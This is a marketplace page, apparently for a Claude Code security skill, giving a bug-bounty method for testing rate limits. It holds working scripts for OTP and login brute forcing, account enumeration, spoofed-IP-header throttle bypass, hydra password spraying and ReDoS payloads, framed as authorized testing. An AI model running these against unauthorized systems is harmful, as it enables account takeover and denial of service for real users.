mcpField
H
hunt-brute-force

hunt-brute-force

github.com/uphiago安全1.3k40 次安装8 周前更新
代码仓库

关于 hunt-brute-force

hunt-brute-force 是用于评估速率限制、暴力破解防护及账户或令牌枚举的 Web 安全测试技能。它指导测试人员区分不同的限流行为,并确认可达影响以减少误报。

主要功能

  1. 01速率限制状态分类
  2. 02OTP 与重置令牌测试
  3. 03登录账户枚举检查
  4. 04基于 IP 的限流绕过评估
  5. 05ReDoS 检测方法
  6. 06影响与误报验证

适用场景

  1. 01测试 OTP 验证防护
  2. 02检查密码重置令牌控制
  3. 03比较有效与无效账户的响应
  4. 04评估优惠码验证的速率限制

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/uphiago/recon-skills --skill hunt-brute-force

安装后在 Claude Code 中输入/hunt-brute-force确认已加载。

详细介绍

HUNT-BRUTE-FORCE — 速率限制 / 暴力破解 / 枚举

依据说明:此技能基于已公开的技术类别,而非经过筛选的 HackerOne 报告集合。report_count 有意设为 0—— 请勿引用无法核实的确切赏金金额或报告 ID。下文会提及有充分公开记录的案例(例如 Laxman Muthiyah 于 2019–2021 年对 Instagram 密码重置 OTP 竞态条件/轮换机制的研究),将其作为技术参考,而非赏金声明。

核心目标

OTP 暴力破解(6 位数字,共 1,000,000 种组合)且没有有效的速率限制 = 可绕过关键账户接管(ATO)防护。

价值最高的攻击链:

  • OTP / 2FA 暴力破解 → 绕过 MFA → ATO — /verify-otp 没有有效的速率限制,可遍历 000000–999999 的全部密钥空间
  • 密码重置令牌暴力破解 — 短小/可预测/永不过期的令牌 + 无速率限制 → ATO(Instagram 2019 年案例结合了 6 位数重置码、按请求来源无速率限制以及 IP 轮换,使遍历 10^6 种组合变得可行)
  • 用户名/邮箱枚举 → 定向凭据填充攻击 — 可根据响应字符串、状态码或时序区分有效与无效信息,再使用泄露数据集进行批量尝试
  • 优惠券/礼品卡/推荐码暴力破解 — 验证代码时没有速率限制 → 造成财务损失
  • ReDoS — 攻击者控制的输入触发灾难性回溯正则表达式 → CPU 耗尽 → DoS

关键:四种速率限制状态——不可混为一谈

200/401 且没有 429,并不意味着“没有速率限制”。只检查 429/锁定状态的速率限制 技能会产生假阴性。在得出结论之前,先发送约 50 个请求对防御进行分类,并观察 完整响应(状态、正文、标头、延迟和下游成功情况):

状态信号仍可暴力破解?
硬性账户锁定失败 N 次后账户被禁用;之后即使使用正确凭据也会失败否(但锁定本身可能构成 DoS 漏洞)
软性 IP 限流429/基于源 IP 的延迟增加是——可通过标头/IP 轮换绕过(第 4 阶段)
注入 CAPTCHA200,但达到 N 次后正文切换为 CAPTCHA 挑战可能——检查验证端点是否在服务端强制执行,或 API 路径是否跳过 CAPTCHA
静默影子限流每个请求都返回 200/401,但提交会被丢弃——真正正确的 OTP/密码不再被接受,或响应变成固定内容这是陷阱。 粗略的循环会看到“全部为 200,没有 429”,并报告“没有速率限制”——这是错误结论。

影子限流检测器——在已知位置注入一个已知有效的值,并确认其在负载下仍然有效:

# Seed: position 500 in the brute set is the REAL OTP for your own test account.
# If the loop reaches 500 and the correct code no longer authenticates,
# the endpoint is silently throttling/dropping — NOT unprotected.
KNOWN_GOOD="123456"   # the actual current OTP for YOUR test account
for n in $(seq 0 600); do
  CODE=$([ "$n" = "500" ] && echo "$KNOWN_GOOD" || printf "%06d" "$n")
  CODE_RESP=$(curl --max-time 30 --connect-timeout 10 -s -o /tmp/bf_body -w "%{http_code} %{time_total}" \
    -X POST "https://$TARGET/api/verify-otp" \
    -H "Content-Type: application/json" -H "Cookie: $SESSION_COOKIE" \
    -d "{\"otp\":\"$CODE\"}")
  echo "$n $CODE $CODE_RESP $(wc -c </tmp/bf_body)"
done
# Three columns to watch: status, time_total, body size.
# Rising time_total or a body-size change with status unchanged = shadow throttle.

分步测试方法

第 1 阶段 — 登录速率限制测试(进行分类,而非只统计 429)
# Send a burst and log status + latency + body length for EACH attempt.
for i in $(seq 1 50); do
  read CODE TIME < <(curl --max-time 30 --connect-timeout 10 -s -o /tmp/bf_l -w "%{http_code} %{time_total}\n" \
    -X POST "https://$TARGET/api/login" \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"test@$TARGET\",\"password\":\"wrong$i\"}")
  echo "Attempt $i: status=$CODE time=${TIME}s len=$(wc -c </tmp/bf_l)"
  sleep 0.1
done
# Then CLASSIFY against the 4-state table above. Watch for:
#   - status flips to 429 / 403  → soft throttle or lockout
#   - body grows / CAPTCHA token appears → CAPTCHA injection
#   - latency climbs while status stays 401 → shadow throttle
#   - genuinely nothing changes across all 50 → candidate "no rate limit" (confirm w/ Phase 2 seed)
第 2 阶段 — OTP / 2FA 暴力破解
# PRE-REQUISITE: a valid session that is pending OTP verification (your own test account).
SESSION_COOKIE="pre-auth-session-after-first-factor"

# ---- 2a. PoC probe: send 101 codes (seq 0..100 is INCLUSIVE = 101 values) ----
# This ONLY proves the endpoint accepts repeated attempts without 429/lockout.
# It does NOT prove the full 10^6 keyspace is brute-forcible — see 2b.
for CODE in $(seq -f "%06g" 0 100); do
  RESP=$(curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/verify-otp" \
    -H "Content-Type: application/json" -H "Cookie: $SESSION_COOKIE" \
    -d "{\"otp\":\"$CODE\"}" -o /dev/null -w "%{http_code}")
  echo "$CODE: $RESP"
  [ "$RESP" = "429" ] && { echo "Rate limit at $CODE"; break; }
done
# 101 attempts with no 429/lockout → endpoint is a candidate. NOW run the shadow-throttle
# seed test (above) before claiming "no rate limit". A clean probe is necessary, not sufficient.

# ---- 2b. Full-keyspace impact proof (only with explicit authorization + your own account) ----
# Severity rests on 10^6 being REACHABLE, not on 101 codes. Demonstrate tractability:
#   - keyspace = 10^6 ; observed throughput from 2a (req/s) ; expected hit at ~half keyspace.
#   - e.g. 50 req/s sustained → ~10^6 / 50 ≈ 5.5 hours worst case, ~2.8h expected. That IS the impact.
#   - If a code rotates every T seconds, the real bound is (req/s * T) attempts per window.
#     Brute is only viable if (throughput * code_lifetime) approaches the keyspace, OR if the
#     code does NOT rotate / reset is unlimited (the Instagram-2019 class).
# Report the math; do NOT actually exhaust 10^6 against a third party.
第 3 阶段 — 用户名/邮箱枚举(字符串、状态和时序都要检查)
VALID_USER="known-user@$TARGET"
INVALID_USER="definitely-not-real-xyz123@$TARGET"

# String + status diff
for U in "$VALID_USER" "$INVALID_USER"; do
  curl --max-time 30 --connect-timeout 10 -s -o /tmp/bf_e -w "[$U] status=%{http_code} time=%{time_total}s len=%{size_download}\n" \
    -X POST "https://$TARGET/api/login" -H "Content-Type: application/json" \
    -d "{\"email\":\"$U\",\"password\":\"wrongpassword\"}"
done
diff <(curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
        -d "{\"email\":\"$VALID_USER\",\"password\":\"wrong\"}") \
     <(curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
        -d "{\"email\":\"$INVALID_USER\",\"password\":\"wrong\"}")
# Different message/status/len → enumeration.

# Timing oracle (valid users hash the password, invalid users short-circuit → measurable delta).
# Sample MANY times and compare medians — a single request is noise, not signal.
echo "VALID timings:";   for i in $(seq 1 30); do curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{time_total}\n" \
  -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
  -d "{\"email\":\"$VALID_USER\",\"password\":\"wrong\"}"; done | sort -n | awk '{a[NR]=$1}END{print a[int(NR/2)]}'
echo "INVALID timings:"; for i in $(seq 1 30); do curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{time_total}\n" \
  -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
  -d "{\"email\":\"$INVALID_USER\",\"password\":\"wrong\"}"; done | sort -n | awk '{a[NR]=$1}END{print a[int(NR/2)]}'
# A reproducible median delta (e.g. valid ~180ms vs invalid ~40ms) is a timing-based enum finding.

# Reset + registration enumeration
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/forgot-password" -d "email=$VALID_USER"   | grep -i "sent\|exist\|not found\|registered"
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/forgot-password" -d "email=$INVALID_USER" | grep -i "sent\|exist\|not found\|registered"
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/register"   -d "email=$VALID_USER"    | grep -i "exist\|taken\|already"
第 4 阶段 — IP/来源轮换绕过
# Per-IP limits are bypassable when the app trusts a client-controlled source header.
# Rotate the header EVERY request; if the 429 you hit in Phase 1 disappears → broken limit.
HEADERS=( "X-Forwarded-For" "X-Real-IP" "X-Originating-IP" "X-Client-IP" \
          "X-Remote-IP" "X-Forwarded" "Forwarded-For" "CF-Connecting-IP" "True-Client-IP" )
for i in $(seq 1 60); do
  RAND_IP="$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1)"
  ARGS=(); for h in "${HEADERS[@]}"; do ARGS+=(-H "$h: $RAND_IP"); done
  RESP=$(curl --max-time 30 --connect-timeout 10 -s "${ARGS[@]}" -X POST "https://$TARGET/api/login" \
    -H "Content-Type: application/json" \
    -d "{\"email\":\"test@$TARGET\",\"password\":\"wrong$i\"}" -o /dev/null -w "%{http_code}")
  echo "Attempt $i (IP $RAND_IP): $RESP"
done
# Also try: multiple comma-joined XFF values ("[REDACTED_IP], [REDACTED_IP]"), and appending your real IP
# AFTER a spoofed one — some parsers take first, some last.
# CONFIRM the bypass: re-run Phase 1 WITHOUT rotation to show the 429 returns. The delta is the proof.
第 5 阶段 — 令牌熵(进行测量,不要凭直觉判断)
# Collect reset/session/OTP tokens for YOUR OWN test account, then quantify entropy.
for i in $(seq 1 20); do
  curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/forgot-password" -d "[email protected]"
  # Extract token from the email/link and append to tokens.txt
  sleep 2
done

# 1) Shannon entropy / compressibility — low entropy = predictable:
ent tokens.txt 2>/dev/null || \
  python3 -c "import sys,math,collections;d=open('tokens.txt').read();c=collections.Counter(d);n=len(d);\
print('bits/char =', -sum(v/n*math.log2(v/n) for v in c.values()))"

# 2) If tokens are hex/base64, decode and look for structure (timestamp, counter, PID):
while read t; do echo -n "$t -> "; echo -n "$t" | xxd -r -p 2>/dev/null | xxd | head -1; done < tokens.txt

# 3) Sequential / time-correlated test — sort and diff consecutive numeric tokens:
sort -n tokens.txt | awk 'NR>1{print $1-prev} {prev=$1}'   # constant/small delta = counter-based

# 4) DEFINITIVE: pipe ~10k tokens through Burp Sequencer (Live capture on the reset
#    response) — it runs FIPS/NIST randomness tests and reports effective bits of entropy.
#    < ~64 effective bits on a security token is a finding; the brute-window math follows.
第 6 阶段 — ReDoS 检测
# Hit input-validation / search endpoints with catastrophic-backtracking payloads.
# Classic evil-regex triggers (nested quantifier / overlapping alternation):
for LEN in 5 10 15 20 25 30; do
  INPUT=$(python3 -c "print('a'*$LEN + '!')")              # for (a+)+$  /  (a|a)*$ style regex
  T=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{time_total}" "https://$TARGET/search?q=$INPUT")
  echo "len=$LEN -> ${T}s"
done
# Other payload shapes to try by field: email regex → "a@"+"a"*N ; URL regex → "http://"+"a"*N
# DOUBLING latency per +5 chars (super-linear) = ReDoS. Linear growth = just a slow endpoint, NOT a bug.
# Confirm with a control: send the same byte-length of a BENIGN string; if it returns fast, the
# blow-up is regex-driven, not size-driven.

自动化

# ---- ffuf: OTP brute ----
# PoC probe (101 codes) — proves acceptance, NOT full keyspace. Note the inclusive seq.
ffuf -u "https://$TARGET/api/verify-otp" -X POST \
  -H "Content-Type: application/json" -H "Cookie: session=SESSION" \
  -d '{"otp": "FUZZ"}' \
  -w <(seq -f "%06g" 0 100) \
  -mc all -ac \
  -rate 50            # cap throughput so YOU can read the rate-limit response, not DoS the target

# FULL keyspace (authorized + your own account only) — generate all 10^6 codes:
#   seq -f "%06g" 0 999999 > /tmp/otp_full.txt   (then -w /tmp/otp_full.txt)
# Use -mc all + -ac so ffuf auto-calibrates and you SEE 429/403/CAPTCHA responses instead of
# filtering them out. -mc 200 alone hides throttling — never brute with -mc 200 only.
# Add -p 0.1 jitter and watch the Errors/RateLimited counters; stop if the success oracle stops firing.

# ---- hydra: login spray ----
hydra -l [email protected] -P ~/wordlists/top-1000.txt "$TARGET" \
  http-post-form "/api/login:email=^USER^&password=^PASS^:Invalid" -t 4

# ---- nuclei: rate-limit / default-cred templates ----
nuclei -u "https://$TARGET" -t http/fuzzing/ -t http/default-logins/ -severity medium,high,critical

攻击链表

漏洞发现攻击链影响
OTP 没有有效的速率限制(全部 10^6 种组合均可尝试)绕过 MFA → ATO严重
密码重置码暴力破解 + IP 轮换重置 → ATO(Instagram 2019 年案例类型)严重
登录没有速率限制 + 可枚举账户使用泄露数据集进行凭据填充攻击高
通过 X-Forwarded-For 等方式绕过 IP 限制可绕过应用中所有按 IP 设置的限制高
可预测/低熵重置令牌在有效期内猜出令牌 → ATO高
公共输入字段存在 ReDoS单个请求即可耗尽 CPU → DoS中–高
攻击者可触发硬性锁定定向账户 DoS(锁定受害者账户)中

验证 — 严格排除误报

撰写报告前,必须满足以下各项:

  • OTP/登录“无限速”:必须针对全部四种状态确认,而不只是确认没有 429。 影子限流种子测试已通过(已知有效值在突发负载下仍可完成认证)。 监测了延迟和响应体大小,而不只是状态码。
  • 完整密钥空间的说法:严重程度应由可达性计算(吞吐量 × 代码有效期与 10^6 的对比)来佐证,而不是依据 101 个代码的探测结果。报告中应写明具体数字。
  • 枚举:差异须能在 ≥20 个样本中复现,并且是服务端状态差异(有效用户与无效用户),而非服务端策略造成的假象(例如,笼统的“如果存在此邮箱,我们已发送……”消息不算枚举)。对于时间分析,应比较大量样本的中位数,绝不能只比较单次请求。
  • IP 轮换绕过:关闭轮换并证明 429 会重新出现。这个变化才是证据;单次快速运行并不足以证明。
  • 令牌熵:须有实际测量结果作为依据(Burp Sequencer 有效位数、ent,或已证明的计数器/时间戳结构),不能仅凭“看起来很短”。
  • ReDoS:须与良性对照进行比较,并证明延迟呈超线性增长(翻倍);线性增长 ≠ ReDoS。
  • 范围/影响:是否造成了真实结果(已认证会话、账户列表泄露、DoS)?如果限流缺口没有可实现的影响,则属于信息级,而非中危。

严重程度:

  • OTP/MFA/重置码可被有效暴力破解 → 已证实的账户接管(ATO)路径:严重
  • 登录没有限流 + 凭据填充/IP 绕过有效:高危
  • 安全令牌可预测(测得熵值低):高危
  • 仅用户名/邮箱枚举:低危–中危
  • 可复现且会造成显著服务端延迟的 ReDoS:中危–高危
  • 攻击者可触发账户硬锁定(账户 DoS):中危

验证

运行此自检,以确认暴力破解准备情况:

  1. FFUF 限速测试 — 验证 ffuf 的限速功能: 通过:可使用 ffuf 限速

  2. 时间分析 — 验证统计分析: 失败

  3. 字典可用性 — 确认密码列表: 通过:已提供 SecLists

这 3 项测试用于验证暴力破解探测准备情况。


注意事项

  • 测试时未考虑限流 — 不带 -rate 和 -t 标志进行暴力破解,会触发账户锁定和 IP 封禁。务必先采用保守设置进行测试。
  • 只测试单个账户 — 对自己的测试账户进行暴力破解并不能证明任何问题。需要两个账户,才能证明该攻击对受害者有效。
  • 仅以 HTTP 状态码作为判断依据 — 200 与 403 的差异可能会误导。务必比较响应体;某些应用对有效与无效凭据都返回 200,但内容不同。
  • 仅以响应时间作为证据 — 单样本的时间差异只是抖动。每组需要进行 n>=10 次交错试验,并采用 2-sigma 阈值。
  • 未记录锁定策略 — 如果目标在尝试 N 次后会锁定账户,应将其记录下来。存在锁定机制时进行暴力破解,风险高、收益低。
  • 未测量令牌熵却声称其可预测 — 声称令牌可预测,必须有实际测量结果(Burp Sequencer 有效位数、ent,或已证明的计数器/时间戳结构)。

相关技能

  • hunt-ato —— 暴力破解绕过 OTP/MFA 是实现账户接管(ATO)的直接路径。原语链:/verify-otp 没有速率限制 + 6 位密钥空间(10^6)→ 攻击者在验证码有效期内枚举 OTP → 以受害者身份通过身份验证 → 无需密码即可完全接管账户。
  • hunt-mfa-bypass —— 暴力破解 6 位 OTP 是 7 种 MFA 绕过模式之一(模式 #4)。原语链:OTP 验证端点允许重复尝试且没有速率限制 + 验证码由 6 位数字组成 → 暴力破解 000000–999999 → 绕过 MFA → 账户接管(ATO)。
  • hunt-auth-bypass —— 密码重置或电子邮件验证端点存在速率限制漏洞,会形成身份验证绕过链。原语链:/password-reset 令牌端点没有速率限制 + 数字令牌较短 → 在令牌有效期内暴力破解重置令牌 → 无需用户交互即可接管账户。
  • hunt-http-smuggling —— HTTP/2 Rapid Reset(CVE-2023-44487)是另一种类型的速率限制绕过:在服务器计数前重置流。可交叉参考通过协议级摊销绕过基于请求的速率限制。
  • hunt-business-logic —— 优惠券、礼品卡和推荐码的暴力破解属于业务逻辑中的速率限制漏洞。原语链:结账时的优惠券验证没有速率限制 → 攻击者根据已知前缀枚举有效优惠券代码 → 每次购买都可享受无限折扣。
  • hunt-llm-ai —— 带有“忘记密码”功能的大模型登录表单,后端可能存在不可见的速率限制漏洞。原语链:AI 聊天机器人接受电子邮件输入以重置密码 → 后端重置端点没有速率限制 → 暴力破解令牌 → 通过 AI 功能接管账户(ATO)。
  • security-arsenal —— 使用速率限制绕过表(X-Forwarded-For 轮换标头、X-Real-IP、X-Client-IP、CF-Connecting-IP、逗号分隔的 IP 链、null-origin SANDBOXED iframe)和 HTTP/2 多路复用绕过方法。
  • triage-validation —— 报告前应用 7 问门槛。只有在能够证明暴力破解最终能获取什么(已通过身份验证的会话、已验证的 OTP、密码重置、财务折扣)时,速率限制漏洞才构成发现。若没有凭证填充攻击或有效账户列表,登录速率限制漏洞可能仅供参考。确认影响,而不只是确认漏洞。
  • password-spray-methodology —— 适用于所有协议的通用密码喷洒流程 + 错误代码差异

评论

支持 Markdown